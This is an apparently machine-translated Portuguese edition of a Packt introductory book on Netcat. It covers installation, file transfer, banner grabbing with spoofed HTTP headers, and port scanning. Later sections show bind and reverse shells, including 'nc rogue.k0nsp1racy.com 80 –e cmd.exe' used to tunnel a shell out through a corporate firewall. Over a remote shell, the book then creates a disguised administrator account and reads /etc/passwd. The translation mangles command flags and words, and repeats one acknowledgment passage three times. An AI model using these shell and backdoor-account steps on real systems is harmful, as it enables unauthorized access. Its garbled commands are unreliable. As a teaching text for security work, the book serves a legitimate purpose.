Escolar Documentos
Profissional Documentos
Cultura Documentos
com
Iniciador Instantâneo do Netcat
KCYerridGenericName
BIRMINGHAM - MUMBAI
Iniciador Instantâneo do Netcat
Todos os direitos reservados. Nenhuma parte deste livro pode ser reproduzida, armazenada em sistema de
recuperação ou transmitida de qualquer forma ou por qualquer meio, sem a permissão prévia por escrito do
editor, exceto no caso de breves citações incorporadas em artigos críticos ou resenhas.
Todos os esforços foram feitos na preparação deste livro para garantir a precisão das informações
apresentadas. No entanto, as informações contidas neste livro são vendidas sem garantia, expressa ou
implícita. Nem o autor, nem a Packt Publishing e seus revendedores e distribuidores serão
responsabilizados por quaisquer danos causados ou alegadamente causados direta ou indiretamente
por este livro.
A Packt Publishing se esforçou para fornecer informações sobre marcas registradas de todas as empresas e
produtos mencionados neste livro, usando letras maiúsculas de forma apropriada. No entanto, a Packt
Publishing não pode garantir a precisão dessas informações.
ISBN 978-1-84951-996-0
www.packtpub.com
Créditos
Autor Coordenadores de Projetos
Esha Thakker
Revisor
Jonathan Craton Revisor
Kelly Hutchison
Editor de conteúdo e
comissionamento de TI
Gráficos
Grant Mizen
Aditi Gajjar
Editor comissionado
Coordenador de produção
Priyanka Shah
Melwyn D'sa
Editor Técnico
Trabalho de capa
Ameya Sawant
Melwyn D'sa
Editor de cópia
Imagem de capa
Alfida Paiva
Conidon Miranda
Sobre o autor
KCYerridGenericNameconstruiu sua carreira através de trabalho duro, eficiência e pura
determinação. Ele pode ser descrito como um líder de pensamento em segurança da informação
e um recurso altamente adaptável que solidifica a estrutura das organizações de segurança da
informação. Com um espírito empreendedor, ele demonstra uma energia apaixonada por ajudar
clientes e partes interessadas em ambientes desafiadores. Ele é fiscalmente consciente e se
compromete a otimizar os investimentos existentes antes de adquirir "soluções de luz
intermitente". Ele também é altamente motivado por metas organizacionais e utiliza criatividade e
habilidades analíticas para chegar a soluções táticas e estratégicas sustentáveis. Ele aborda cada
desafio de negócios como uma oportunidade única para alavancar a tomada de decisões
estratégicas sólidas, a solução criativa de problemas,
Grande parte da autoria e edição deste livro foi feita em quartos de hotel, longe de minha
família e entes queridos. Meu tempo em Minnesota e Arizona foi um fardo tremendo para
minha maravilhosa esposa e alma gêmea, Des. Sem seu apoio ao longo desta jornada –
cuidando de nossos lindos filhos, Sydney e Austin, e sendo a caixa de ressonância para minhas
ideias, comentários e sim... às vezes reclamações – este livro certamente nunca teria acontecido.
A busca pelo conhecimento e a gratificação da descoberta estão profundamente arraigadas em minha psique.
Tenho a sorte de ter sido abençoado por crescer em uma família tradicional e nuclear, ancorada por meu
falecido pai, David, que trouxe para casa um laptop Epson HX-20 e mais tarde comprou um computador
desktop IBM PCjr (leia-se "PC júnior") para eu brincar por horas a fio naqueles anos de formação. A coragem,
tenacidade, bondade e compaixão que ele demonstrou todos os dias me inspiram a ser uma boa pessoa hoje.
Ele me ensinou o valor de um aperto de mão e a importância de viver com integridade inabalável. Minha mãe,
Jean, é minha maior fã, independente do que eu faça na vida. É através de seu amor e carinho por mim que me
fazem nunca menosprezar meus sucessos e me inspira a dedicar tempo para ensinar qualquer pessoa que
esteja disposta a aprender. Meu irmão mais velho, Mike, tem sido um exemplo brilhante de como ter sucesso
no mundo dos negócios e é uma grande influência na minha paixão e motivação em tecnologia. Meu outro
irmão, Rich, sempre esteve ao meu lado quando precisei dele, e é por meio de seu espírito empreendedor que
me permite experimentar novos programas, técnicas ou empreendimentos, como este livro. Além disso, ele
tem uma personalidade e uma risada que não pode deixar de ser atraído.
Francis Bacon disse uma vez: "A pior solidão é ser destituído de amizade sincera". Durante o
processo de criação deste livro, sempre pude contar com alguns dos meus melhores amigos no
mundo para me motivar a continuar. Não preciso olhar mais longe do que Ed Maciejewski como
exemplo de alguém que suportou dificuldades extremas e continua perseverando diante da
adversidade. A vida de Ed nos últimos dois anos é verdadeiramente inspiradora para mim, e tenho
orgulho de ser seu amigo. Junto com o carinho e a gentileza de seus sogros, Sue e Ralph Hoffman e
Larry Nash, sinto que sempre tenho uma família extensa para chamar de minha. Também gostaria
de agradecer ao meu pastor, vizinho e amigo Kyle Thompson e sua incrível esposa Lora por
ajudarem a mim e minha família durante alguns de nossos momentos mais desafiadores em
nossas vidas.
Profissionalmente, uma das minhas citações favoritas é do filósofo romano Sêneca, que afirmou: "Um jovem respeita e admira seus professores". Com esta citação
como pano de fundo, gostaria de agradecer a algumas das muitas pessoas que me moldaram profissionalmente e contribuíram indiretamente para a conclusão
deste livro. Jack Wiles é o principal responsável por me inspirar a ser um profissional de segurança da informação. Embora seja possível que eu tenha um
conhecimento prático do Netcat através do meu histórico de operações e desenvolvimento, a apresentação de Jack sobre a magia da engenharia social e hacking sem
tecnologia foi o "momento a-ha" que me fez querer ser um profissional de segurança . Dr. Rory Lewis me desafiou a continuar o caminho do ensino superior, pensar
estrategicamente e ousar inovar e compartilhar meu conhecimento. Ele é realmente um mentor e um amigo fantástico. Também gostaria de agradecer a Fred Millet e
Mike Royer por me darem minha primeira oportunidade em minha carreira como estagiário em uma organização de manufatura. Serei eternamente grato a eles por
sua instrução e orientação em minha vida e pelas portas que ajudaram a abrir em minha carreira. Finalmente, gostaria de agradecer a Ed Skoudis, Brian Baskin,
Thomas Wilhelm e Michael Scherer por lançar as bases e me ensinar tanto sobre o utilitário Netcat. É principalmente através de suas contribuições para o campo que
sou capaz de falar de forma inteligente sobre o assunto. Serei eternamente grato a eles por sua instrução e orientação em minha vida e pelas portas que ajudaram a
abrir em minha carreira. Finalmente, gostaria de agradecer a Ed Skoudis, Brian Baskin, Thomas Wilhelm e Michael Scherer por lançar as bases e me ensinar tanto
sobre o utilitário Netcat. É principalmente através de suas contribuições para o campo que sou capaz de falar de forma inteligente sobre o assunto. Serei
eternamente grato a eles por sua instrução e orientação em minha vida e pelas portas que ajudaram a abrir em minha carreira. Finalmente, gostaria de agradecer a
Ed Skoudis, Brian Baskin, Thomas Wilhelm e Michael Scherer por lançar as bases e me ensinar tanto sobre o utilitário Netcat. É principalmente através de suas
contribuições para o campo que sou capaz de falar de forma inteligente sobre o assunto.
Você sabia que a Packt oferece versões eBook de todos os livros publicados, com arquivos PDF e ePub
disponíveis?Você pode atualizar para a versão eBook emwww.PacktPub.come como cliente do livro
impresso, você tem direito a um desconto na cópia do eBook. Entre em contato conosco em
service@packtpub.com _para mais detalhes.
Nowww.PacktPub.com,você também pode ler uma coleção de artigos técnicos gratuitos, inscrever-se em uma variedade
de boletins informativos gratuitos e receber descontos e ofertas exclusivas em livros e e-books Packt.
packtLib.packtPub.com
Você precisa de soluções instantâneas para suas questões de TI? PacktLib é a biblioteca de livros digitais online
da Packt. Aqui, você pode acessar, ler e pesquisar em toda a biblioteca de livros da Packt.
[ii]
Iniciador Instantâneo do Netcat
Bem vindo àIniciador Instantâneo do Netcat. Este livro foi especialmente criado para fornecer
a você todas as informações necessárias para se familiarizar com o Netcat. Você aprenderá a
terminologia básica do Netcat, como instalar e/ou compilar o Netcat para plataformas
Windows ou Unix/Linux e muitas das opções que podem ser usadas para alavancar o poder e
a flexibilidade desta ferramenta popular para uma variedade de cenários.
Então, o que é Netcat?–Descubra o que o Netcat realmente é, os dois principais modos em que o
Netcat é executado, o que você pode fazer com esses modos e por que ele permanece inestimável
em kits de ferramentas de segurança da informação e operação de rede até hoje.
Começo rápido–Esta seção irá ajudá-lo a usar o Netcat em cada um de seus modos primários.
Aqui você aprenderá como executar algumas das principais tarefas essenciais para usar o
Netcat de forma eficaz.
Os 3 principais recursos que você vai querer conhecer–Muitas pessoas afirmam que o
Netcat é limitado apenas pela imaginação da pessoa que o utiliza. Nesta seção, você
aprenderá sobre cada uma das opções de parâmetro e quando usá-las para atingir seus
objetivos.
Pessoas e lugares que você deve conhecer–Esta seção fornece muitos links úteis
para as várias páginas e pessoas do projeto, bem como vários artigos úteis,
tutoriais, blogs e feeds do Twitter do Netcat e outros aplicativos relacionados
que são usados em conjunto com o Netcat.
Iniciador Instantâneo do Netcat
Lançado inicialmente em 1995, o Netcat sobreviveu e continua a prosperar apesar de sua idade e relativa
simplicidade. De acordo comSecTools.org,O Netcat é classificado como a oitava ferramenta de segurança de rede
favorita (Nmap Security Scanner Project, 2011). Embora muitas portas e variações tenham surgido com base no
utilitário clássico, o Netcat ainda está disponível em sua forma original em vários sites.
Em sua interpretação mais básica, o Netcat estabelece uma conexão entre dois computadores e permite que os
dados sejam gravados nos protocolos da camada de transporte TCP e UDP e no protocolo IP da camada de
rede. Para aqueles familiarizados com distribuições Unix e Linux, o nome é provavelmente o derivado do
comando clássicogato,com recursos de rede adicionados para maior utilidade. Dada a variedade de tarefas e
cenários que o Netcat conseguiu realizar para seus operadores, não é de admirar que a maioria das referências
ao utilitário o chame de canivete suíço para comunicações TCP/IP (Netcat). No entanto, na realidade, o Netcat
resolve problemas mais de acordo com o tipo de problemas que um rolo de fita adesiva pode resolver.
No centro da funcionalidade, o Netcat opera em um dos dois modos básicos. Como cliente, o Netcat opera
com o propósito expresso de iniciar uma conexão com outro computador (ou o mesmo computador; mais
sobre isso daqui a pouco). Por outro lado, o mesmo binário Netcat opera em um modo de servidor ou
ouvinte quando parâmetros específicos são passados para o utilitário. Essas opções são descritas na saída
nas seguintes linhas (também mostradas na próxima captura de tela):
3
Iniciador Instantâneo do Netcat
Ê Servidor de bate-papo/mensagens: Ao usar o Netcat, um operador pode redirecionar texto simples entre dois
Ê Transferências de arquivos: Netcat permite transferir arquivos entre computadores sem a necessidade de
instalar um servidor FTP completo.
Ê Captura de Banner: O Netcat permite que um operador estabeleça um soquete para uma porta
específica para identificar potencialmente o sistema operacional, serviço, versão e outras
informações necessárias para enumerar a finalidade e/ou possíveis pontos fracos no serviço.
Ê Verificação de portas:O Netcat permite que o operador utilize uma função de varredura de porta
rudimentar, pela qual uma porta ou uma série de portas podem ser interrogadas para determinar se a porta
está aberta ou fechada.
4
Iniciador Instantâneo do Netcat
Independentemente da necessidade, provavelmente existe uma solução criativa que a Netcat pode ajudar a
atender sua operadora. Com isso em mente, vamos mergulhar na carne e nas batatas deste utilitário
baixando e trabalhando diretamente com o Netcat. Veremos como colocar você em funcionamento com as
versões Unix/Linux e Windows do utilitário. Vamos lá!
5
Iniciador Instantâneo do Netcat
Instalação
Em quatro etapas fáceis, você pode instalar o Netcat e configurá-lo em seu sistema, seja Windows,
Linux, Unix ou Mac OS X. Para resumir, vamos nos concentrar nas distribuições Windows e Debian
do Linux. O Mac OS X tem o Netcat instalado por padrão, embora sem o
DGAPING_SECURITY_HOLEopção habilitada (que é explicada mais adiante). Para obter informações sobre a
recompilação do Netcat para Mac OS X (BSD) com a opção DGAPING_SECURITY_HOLE, consulte as
instruções de compilação nas páginas man.
Antes de mergulhar com os dois pés, há um pequeno contexto histórico que deve ser comunicado a você.
Como mencionado anteriormente, o Netcat é um velho, mas bom. Um dos subprodutos de sua
longevidade é como a utilidade foi mantida ao longo dos anos. Basicamente, houve três caminhos
principais pelos quais o utilitário evoluiu. O primeiro é o Unix Netcat original que foi lançado pela Hobbit.
Esta versão conterá a Versão 1.10 (ou 1.11 em alguns casos). A segunda versão principal é a versão GNU
Netcat que está hospedada no repositório de código fonte baseado na web do SourceForge. O objetivo
da versão GNU é ter total compatibilidade com todas as funções do Unix Netcat Versão 1.10. Finalmente,
este livro seria negligente em não incluir referências à versão do Netcat do projeto Nmap, simplesmente
chamadaNcat. De acordo com o site do Projeto Nmap, o Ncat foi escrito para o Projeto Nmap como uma
reimplementação muito melhorada do venerável Netcat (Projeto Nmap).
6
Iniciador Instantâneo do Netcat
A última coisa que você precisa saber sobre o Unix Netcat original é que alguns tipos de Linux e Unix
podem ter recompilado o Unix Netcat original sem a capacidade de executar programas na conexão
com o ouvinte. A opção DGAPING_SECURITY_HOLE permite que um operador execute programas
usando o –eswitch para executar uma série de tarefas poderosas, incluindo o lançamento de um shell.
Como resultado, essas versões pré-compiladas e pré-instaladas são consideradas "mais seguras" do
que as outras versões que permitem o –etrocar. Se você pesquisar por "Netcat
DGAPING_SECURITY_HOLE" em seu mecanismo de pesquisa favorito, sem dúvida verá o equivalente a
uma briga de tapa de hamster sobre os riscos e benefícios da opção DGAPING_SECURITY_HOLE. Para
determinar se sua instância do Netcat foi compilada com a opção DGAPING_SECURITY_HOLE, basta
digitarnc –hna linha de comando. A captura de tela a seguir demonstra a saída de uma instância do
Netcat sem o DGAPING_SECURITY_HOLE (observe a ausência do –etrocar):
7
Iniciador Instantâneo do Netcat
Por outro lado, a captura de tela a seguir demonstra o utilitário Netcat com a
opção DGAPING_SECURITY_HOLE habilitada:
Netcat é um programa relativamente fácil de obter, configurar e instalar. Na verdade, a maioria das distribuições de
Unix e Linux tem uma versão pré-compilada do Netcat já instalada e configurada. Discutiremos brevemente a principal
razão pela qual você pode querer recompilar sua instância do Netcat daqui a pouco, mas, por enquanto, vamos nos
concentrar nos requisitos para que você comece a trabalhar rapidamente.
Felizmente, todas as distribuições para as quais estou fornecendo links nesta seção têm a
opção DGAPING_SECURITY_HOLE habilitada. Isso inclui o Unix Netcat, GNU Netcat e, claro,
Ncat para Windows e Unix.
Antes de obter e instalar o Netcat, você precisará verificar se possui todos os elementos
necessários, listados a seguir:
8
Iniciador Instantâneo do Netcat
Ê http://www.hackosis.com/wp-content/uploads/2007/12/nc111nt.zip
Ê http://joncraton.org/files/nc111nt.zip
Para fins de nossos exercícios, usaremos a versão desses sites, ambos calcularam um valor de hash
MD5 de37f2383aa4e825e7005c74099f8bb2c3, conforme mostrado na captura de tela a seguir
(agradecimentos especiais à equipe do Security Xploded por criar uma incrível ferramenta geradora
de hash):
9
Iniciador Instantâneo do Netcat
Se sua tela for semelhante à mostrada na captura de tela anterior, você implementou com êxito o
Netcat na plataforma Windows. A partir deste ponto, você pode continuar a explorar outras
instruções de instalação da distribuição ou pular para a próxima seção, onde começaremos a
trabalhar com a ferramenta.
10
Iniciador Instantâneo do Netcat
Ê http://packetstormsecurity.org/files/download/14051/nc110.tgz
Ê http://sourceforge.net/projects/nc110/files/latest/download
11
Iniciador Instantâneo do Netcat
Antes de instalarmos os binários corretos do Netcat, iremos em frente e removeremos a versão antiga.
Para fazer isso, você pode emitir oapt-getcomando a partir da linha de comando, ou simplesmente inicie
seu gerenciador de pacotes e faça com que o script faça isso por você. Vamos seguir a rota da GUI,
provavelmente para desgosto dos puristas do Linux. Para aqueles que desejam remover o pacote da
linha de comando, basta digitar o comandosudo apt-get remove --purge netcat-openBSD,digite sua senha
sudo e selecioneSconfirmar. No entanto, assumindo zero experiência no Linux, na área de trabalho
MATE, primeiro selecionaremos o aplicativo Package Manager, conforme mostrado na captura de tela a
seguir:
12
Iniciador Instantâneo do Netcat
Como o Synaptic está modificando seu sistema, você provavelmente precisará inserir suas credenciais
sudo, conforme mostrado na captura de tela a seguir:
13
Iniciador Instantâneo do Netcat
Uma lista de pacotes de software aparecerá. Inserindonetcatna barra de pesquisa, você verá os
doisnetcat-openbsdpacote e onetcat-tradicionalpacote. A caixa verde na captura de tela a
seguir mostra quenetcat-openbsdestá sendo instalado atualmente:
vamos marcar onetcat-openbsdpacote para remoção completa usando o botão direito do mouse, conforme
demonstrado na captura de tela a seguir:
O quadrado mudará de verde para vermelho para indicar isso, conforme mostrado na captura de tela a seguir:
14
Iniciador Instantâneo do Netcat
15
Iniciador Instantâneo do Netcat
Na próxima captura de tela, demonstro o que você deve ver ao aplicar a instalação.
16
Iniciador Instantâneo do Netcat
17
Iniciador Instantâneo do Netcat
Ao selecionar o link de download, você verá uma página semelhante à captura de tela
a seguir, permitindo que você selecione o RPM e os arquivos compactados:
18
Iniciador Instantâneo do Netcat
Basta selecionar a distribuição desejada e você está pronto para as corridas. Ao contrário da
implementação Unix Netcat, as distribuições GNU Netcat fornecem os hashes MD5 para você
diretamente no site, portanto, verifique seu download antes de instalar para garantir que não haja
erros e nenhum ajuste nos arquivos.
Agora, por uma questão de consistência, baixamos o pacote usando nosso navegador web confiável. No
entanto, apenas para mudar um pouco as coisas, usaremos um meio diferente para compilar e instalar o
GNU Netcat usando nosso confiávelInterface de linha de comando (CLI). Se você nunca compilou e
instalou um pacote de uma fonte, não se preocupe. Teremos sujeira sob as unhas, mas será uma boa
experiência. Então, vamos fazê-lo!
19
Iniciador Instantâneo do Netcat
wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz
Depois que o arquivo for baixado, navegue até o diretório e digite os seguintes comandos, conforme mostrado
na próxima captura de tela:
Depois que o sistema fizer sua parte (várias linhas de texto passarão), você retornará ao prompt
do shell. Conforme mostrado na próxima captura de tela, digite o seguinte comando:
fazer
Por fim, digite o seguinte comando para instalar os binários compilados, conforme mostrado na próxima
captura de tela:
20
Iniciador Instantâneo do Netcat
21
Iniciador Instantâneo do Netcat
Para que você possa ver as semelhanças entre os utilitários Unix e GNU Netcat, a captura de tela a
seguir mostra a primeira página de opções. Nesta captura de tela, estou usando minha distribuição
Linux favorita, BackTrack, que pode ser encontrada emhttp://www.backtrack-linux.org.Importante notar que
enquanto as outras versões do Netcat são iniciadas usando oncexecutável, o utilitário do projeto Nmap
é iniciado a partir do comandonão
E é isso
A essa altura, você deve ter pelo menos uma instalação funcional do Netcat e está livre para brincar e
descobrir mais sobre ela. Se não cobrimos seu sistema operacional específico ou distribuição Linux,
consulte as páginas man de sua distribuição. No entanto, continuaremos com a suposição de que,
quando passarmos para a próxima seção, veremos aproximadamente as mesmas coisas. Então,
estamos prontos para realmente entrar debaixo do capô?
22
Iniciador Instantâneo do Netcat
Além disso, na primeira vez que você iniciar o executável Netcat em uma máquina Windows, seu antivírus e/ou firewall
poderá detectar atividades maliciosas, conforme ilustrado na captura de tela a seguir. Observe que a captura de tela
mostra a captura de tela padrão conforme solicitado pelo Windows 7; no entanto, as opções que você seleciona aqui
são amplamente baseadas em quais são suas intenções com o Netcat. Em uma configuração de laboratório, talvez seja
aconselhável alternar as caixas de seleção para permitir apenas que o Netcat se comunique em redes privadas.
É certo que eu queria escrever este livro para fornecer algumas instruções gerais sobre como se
familiarizar com o Netcat com eficiência e ensinar alguns dos recursos mais comuns do
aplicativo. Para isso, vamos analisar funções em exercícios simples, cujo objetivo principal é
fornecer uma visão geral da própria ferramenta.
23
Iniciador Instantâneo do Netcat
Cliente Netcat
192.168.0.11/24
GNU Netcat 0.7.1
Linux Mint
Ouvinte Netcat
192.168.0.10/24
Unix Netcat v1.11
janelas
Para este exercício, usaremos uma configuração simples para demonstrar como o Netcat pode ser usado como
uma interface de bate-papo simples entre um cliente e um ouvinte. Para esses exercícios, os sabores do Netcat
e os sistemas operacionais não importam. Neste exercício específico, você só precisa de uma única máquina
executando duas instâncias do Netcat a partir da linha de comando para atingir os objetivos. No entanto, as
lições futuras provavelmente funcionarão melhor com várias máquinas, o que pode ser feito facilmente usando
um aplicativo de software de virtualização de uma das fontes listadas na tabela a seguir:
Para este exercício, vou me conectar à porta TCP31337.Este número de porta pode ser qualquer
coisa; Eu escolhi31337sem motivo especial. Para ilustrar a relação entre um endereço IP e um
número de porta, pense em como a agência postal entrega o correio para você. Se você considerar
que seu endereço de rua é análogo a um endereço IP, uma porta pode ser pensada como o nome
no envelope. Cabe ao remetente identificar a pessoa específica para a qual o e-mail se destina. Se
tudo correr bem, o destinatário reconhecerá que o correio é destinado a uma pessoa específica.
Claro, talvez o remetente saiba que John, Mary, Jane e Gregory moram no endereço, 123 Main
Street. Neste ponto, o remetente só precisa especificar que a carta é destinada a Gregory.
Independentemente da porta selecionada, depois de configurar o cliente e o ouvinte, vamos em
frente e começar com o exercício. Na máquina do ouvinte,
24
Iniciador Instantâneo do Netcat
1. Inicie um prompt de comando se o sistema operacional do ouvinte for baseado em Windows, como
no exemplo anterior (você abriria um shell usando um terminal no Unix e no Linux).
25
Iniciador Instantâneo do Netcat
8. Alternando para a sessão do cliente, a próxima captura de tela mostra o que o cliente vê:
26
Iniciador Instantâneo do Netcat
Você notará que há algumas novas opções que adicionamos ao comando, então vamos analisá-
las agora. O -vswitch é o parâmetro para usar o Netcat no modo detalhado.Verbosidade
é simplesmente a quantidade de feedback que o utilitário fornece de volta à tela durante a operação. O Netcat
também suporta –vv (double v) para detalhamento adicional que fornecerá o número de bytes transferidos
durante uma transferência de arquivo. O -Cswitch instrui o Netcat a aguardar um número específico de
segundos antes de atingir o tempo limite da conexão. Em nosso exemplo, especificamos 30 segundos. Com
exceção dos ouvintes baseados no Windows, se não iniciarmos a transferência em 30 segundos, o Netcat
lançará um erro de tempo limite de conexão e sairá em um prompt. Os ouvintes baseados em Windows (como
mostra nosso exemplo) não respeitam os 30 segundos para iniciar, mas terminarão 30 segundos após a
conclusão da conexão ou se as comunicações forem interrompidas durante o fluxo de dados. Discutimos o –p
switch e indicou-o como a porta na qual o Netcat estará escutando. Novamente, selecionamosTCP/31337como
nossa porta de escuta. O -euswitch indica que o Netcat está no modo Listener. O símbolo < indica a direção da
transferência. Se você não estiver familiarizado com o redirecionamento de arquivos, pense no comando inteiro
dizendo: "Quero enviar o
segredo.txtarquivo para o ouvinte". Mais tarde, veremos o outro lado da conexão, que
basicamente dirá: "Pegue a saída do ouvinte e envie-a para um arquivo que eu especificar".
Uma vez que batemosEntrar, nosso ouvinte começa a ouvir conforme ilustrado na captura de tela a
seguir. Você notará que com a opção de verbosidade habilitada, vemos que o status é exibido.
Normalmente, haveria simplesmente um cursor piscando.
27
Iniciador Instantâneo do Netcat
Agora vamos passar para o cliente. Nosso comando é semelhante, mas há algumas pequenas diferenças que
explicarei em um segundo. Por enquanto, basta executar a seguinte etapa, conforme ilustrado na próxima
captura de tela, digitando o seguinte comando na linha de comando:
Então, vamos revisar as opções e comandos que acabamos de inserir. Novamente, o –vswitch é para
verbosidade. O -Cswitch especifica que, se a conexão for interrompida por mais de dois segundos, abortará o
fluxo. Se você se lembra, configuramos o ouvinte por 30 segundos. Então, por que definimos o cliente para 2?
A resposta simples é que as funções dos dispositivos ditavam que o servidor (ouvinte) provavelmente seria
afetado por várias solicitações e várias operações. Obviamente, esses são parâmetros arbitrários, portanto,
sua milhagem varia.
O restante do comando especifica o nome do host ou o endereço IP do ouvinte, seguido pelo número da
porta. Finalmente, chegamos ao outro lado do redirecionamento. Como mencionado antes, pense nisso
como "pegue o que quer que192.168.0.10:31337está servindo e a saída para o arquivosegredo. TXT".É
importante observar que o nome do arquivo aqui não precisa ser idêntico ao nome do arquivo no
ouvinte. Chame-obob.txtouid10t.gde;o ponto é, ele simplesmente não tem que ser o mesmo.
À medida que a transferência está ocorrendo, o ouvinte mostrará apenas a tela conforme ilustrado na
captura de tela a seguir:
28
Iniciador Instantâneo do Netcat
Por fim, podemos verificar a saída do novo arquivo que foi criado em nossa máquina cliente para verificar se o
texto é idêntico, conforme ilustrado na captura de tela a seguir:
29
Iniciador Instantâneo do Netcat
Neste exemplo muito básico, executamos uma transferência de arquivo entre o ouvinte e o cliente
usando nada mais do que o Netcat como canal. . A esta pergunta, respondemos que o poder do
Netcat está em sua flexibilidade e simplicidade. Com muito pouca sobrecarga, temos a capacidade
de mover arquivos entre duas (ou mais) máquinas em qualquer porta que precisarmos. É um
firewall bloqueando a porta TCP21?Mude o Netcat para uma porta aberta, ou seja,TCP/80e você
está fora para as corridas. O Netcat não é a solução de transferência de arquivos ideal para todas
as situações, mas minha intenção aqui é apenas demonstrar alguns recursos básicos e preparar as
bases para usos mais complicados.
Cliente Netcat
192.168.0.11/24
GNU Netcat 0.7.1
Linux Mint
30
Iniciador Instantâneo do Netcat
A sintaxe para executar uma captura básica de banner de um destino é simplesmente usar o endereço de
destino ou o nome do host e a porta a ser interrogada. A partir de nossa máquina cliente, realizamos as
seguintes etapas:
<enter>
No exemplo anterior, estabelecemos uma conexão simples com uma porta em nosso servidor web de destino.
Nessa situação específica, não estávamos preocupados com o sigilo e, portanto, simplesmente abrimos a
conexão, enviamos um fluxo inesperado para o servidor e o convencemos a nos informar que cometemos um
erro em nossa solicitação, conforme evidenciado pelo código de status HTTP do400.Nessa situação, descobrimos
o que queríamos, que era a versão do aplicativo do servidor web. Em um cenário mais realista, não seríamos tão
ousados em simplesmente forçar uma resposta como essa, pois nosso endereço IP e detalhes estão em todo o
log do servidor. Em vez disso, provavelmente procuraríamos interrogar o serviço de uma maneira que aderisse
ao protocolo do serviço.
As opções que você tem com a captura de banner são limitadas apenas pelo protocolo e funções do
próprio serviço. Lembre-se, você está estabelecendo um soquete bruto entre seu cliente e o servidor
web. No próximo exemplo, vamos fazer a mesma técnica básica, só que ao invés de fazer tanto barulho,
vamos usar a sintaxe do protocolo e falsificar alguns detalhes da conexão.
31
Iniciador Instantâneo do Netcat
Mais uma vez, digite a seguinte sintaxe conforme mostrado no código e ilustrado na captura de tela
a seguir:
nc 192.168.0.10 80
GET/HTTP/1.1
Anfitrião: 192.168.0.10
Agente do usuário: SPOOFED-BROWSER
Referenciador: K0NSP1RACY.COM
<enter>
<enter>
O servidor web responde com um código de status HTTP de200,significando OK. Como você vê na
captura de tela a seguir, o servidor da Web envia o código HTML para a conexão. Dependendo do seu
propósito para iniciar a conexão, você pode se camuflar nos logs do servidor ou facilitar a localização de
suas informações de conexão específicas.
Neste ponto do livro, você deve começar a ter uma noção de algumas das coisas que são possíveis
com um mínimo de esforço usando o Netcat. Embora o Netcat seja um utilitário compacto, ele tem um
poder incrível nas mãos de um profissional capaz. Com alguns dos casos de uso básicos e uma noção
geral do próprio utilitário, podemos começar a explorar alguns casos de uso e recursos mais
avançados do utilitário na próxima seção.
32
Iniciador Instantâneo do Netcat
Então, até este ponto, eu facilitei a sintaxe e alguns dos usos mais comuns do Netcat em um nível
muito básico. Neste ponto, você deve se sentir um pouco confortável, então para esta seção vamos
progredir em alguns (mais ou menos) cenários reais para mostrar algumas das coisas que você pode
fazer com este utilitário.
Preparando o ouvinte
Para preparar o ouvinte, digitaremos o seguinte comando na linha de comando:
No exemplo anterior, estamos usando a chave L maiúsculo (-EU)para manter uma conexão
persistente com o ouvinte. Este é apenas um recurso do Windows e, embora seja possível criar um
script para fazer algo semelhante no lado do Linux, não abordaremos isso neste livro. Lembre-se de
que, em uso típico, quando nos desconectamos da máquina cliente, o executável do Netcat é
encerrado. Com o -euswitch, o executável continua a escutar novas tentativas de conexão.
O -vvswitch diz ao Netcat para ser mais detalhado com sua saída. Para este recurso específico, o –vvswitch não
fará muito; no entanto, em transferências de arquivos e outros casos de uso, isso acontecerá, como veremos
mais adiante.
33
Iniciador Instantâneo do Netcat
Conectando-se ao destino
Conectar-se ao alvo é tão simples quanto nossos primeiros exercícios e consiste simplesmente na
seguinte string:
nc 192.168.0.10 31337
Conforme mostrado na captura de tela anterior, simplesmente executamos uma listagem de diretórios usando odiretório /w
comando. Embora esteja fora do escopo de demonstrar os recursos do Netcat, uma vez nesta etapa,
você pode interagir com o shell remoto da mesma maneira como se fosse um shell local.
34
Iniciador Instantâneo do Netcat
net user /add bob Netcat /comment:"Aprovado até 31/12/2012 por CTO" /nome
completo:"Bob Wilson"
35
Iniciador Instantâneo do Netcat
Ele criará a conta com todos os campos mais óbvios preenchidos. Com a conta de usuário adicionada,
simplesmente digito o comandonet localgroup administradores bob /addpara conceder os direitos de
administrador da conta recém-criada, conforme mostrado na captura de tela a seguir:
36
Iniciador Instantâneo do Netcat
Se eu abrir a associação do grupo para oAdministradoresgrupo, posso ver que nossa conta de usuário prumoagora
é um membro, conforme mostrado na captura de tela a seguir:
Outro item muito importante a ser observado com o Netcat é que não importa de que lado está o ouvinte e
de que lado está o cliente. Suponha que eu estava executando um ouvinte Netcat na portaTCP/80
em um host (rogue.k0nsp1racy.com)fora de um firewall (conforme mostrado na captura de tela a
seguir) e executei o seguinte comando de dentro dos limites da minha rede corporativa para iniciar
um shell de comando:
nc rogue.k0nsp1racy.com 80 –e cmd.exe
Supondo que as regras de firewall sejam permitidas, eu poderia criar um túnel não criptografado entre
as duas máquinas da seguinte forma:
37
Iniciador Instantâneo do Netcat
Preparando o ouvinte
Como fizemos no lado do Windows, para preparar o ouvinte, digitaremos o seguinte comando
na linha de comando:
Conectando-se ao destino
Como demonstrei no exercício anterior, você simplesmente se conecta ao host (como
mostrado abaixo) e à porta à qual deseja se conectar, e o ouvinte fornecerá o shell bash da
seguinte maneira:
nc 192.168.0.11 31337
38
Iniciador Instantâneo do Netcat
39
Iniciador Instantâneo do Netcat
40
Iniciador Instantâneo do Netcat
Em seguida, queremos fornecer a verificação dausuário adicionaração, primeiro fazendo um simples grep
sobre /etc/senha,conforme mostrado na próxima captura de tela usando o seguinte comando:
Por último, vamos despejar todo o /etc/senhaarquivo em seguida usando o seguinte comando:
cauda /etc/passwd
41
Iniciador Instantâneo do Netcat
A varredura de portas usando o Netcat não requer um ouvinte, então podemos executá-lo diretamente do nosso
cliente. Nesta etapa, estarei executando uma varredura básica de portas de um utilitário GNU Netcat. Tenha em
mente que um objetivo do projeto GNU Netcat é manter a compatibilidade com o Unix Netcat original, então todos
esses comandos devem funcionar independentemente do sabor do Netcat que você está executando. A sintaxe básica
é a seguinte:
nc –v –w 1 192.168.0.10 –z 1-1000
Até agora, muitos desses switches devem ser familiares. O -vé para verbosidade, que em nossa varredura de
portas indica as portas abertas que a varredura de portas descobre. O -w 1O parâmetro instrui o Netcat a
esperar um segundo entre as tentativas de varredura, ou em outras palavras, indica quanto tempo ele precisa
esperar para uma porta responder como aberta ou fechada. Em seguida é o destino que queremos verificar, que
neste exemplo é192.168.0.10.O -zswitch é novo e indica que o Netcat deve operar no modo de E/S zero. O modo
Zero I/O, neste caso, acelera o processo de execução da varredura de porta, ignorando qualquer latência
incorporada pelo programa para explicar os atrasos da CPU. Por fim, especificamos o intervalo de portas a ser
